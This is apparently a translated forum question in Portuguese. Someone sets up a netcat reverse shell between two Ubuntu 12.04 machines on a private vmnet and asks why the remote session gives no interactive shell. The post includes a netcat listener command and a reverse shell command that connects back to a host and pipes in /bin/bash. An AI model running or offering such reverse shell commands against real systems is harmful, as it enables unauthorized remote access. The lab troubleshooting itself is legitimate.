Estou conectando a um servidor que tenho no meu laptop, ambos estão no mesmo vmnet e ambos os sistemas são o Ubuntu 12.04 LTS.
Para se conectar, eu uso o shell reverso do servidor web.
Primeiro eu começo a ouvir no meu host digitando sudo nc -l -k -v 10101
e então eu inicio o
ouça indo ao meu servidor e digitando /bin/nc 172.16.55.1 10101 /bin/bash
No final do host, recebo uma notificação dizendo connection from 172.16.55.128 port 10101 [tcp/*] accepted
Depois disso, em vez de ter uma conexão ativa (isto é, escrever ls
no host e obter a saída do meu servidor web) não recebo nada em meu host, e no servidor da Web posso ver a mesma entrada que escrevi do host (ou seja, tudo que vejo aparece é ls
)
A partir da experiência passada quando usei o shell remoto meu host mudou de me@host:~$
para outra coisa indicando que estou em um sistema remoto, por exemplo me@remotewebserver:~$
, aqui não é o caso, não tenho nada antes da parte em que tipo, nem mesmo o me@host
que estava lá.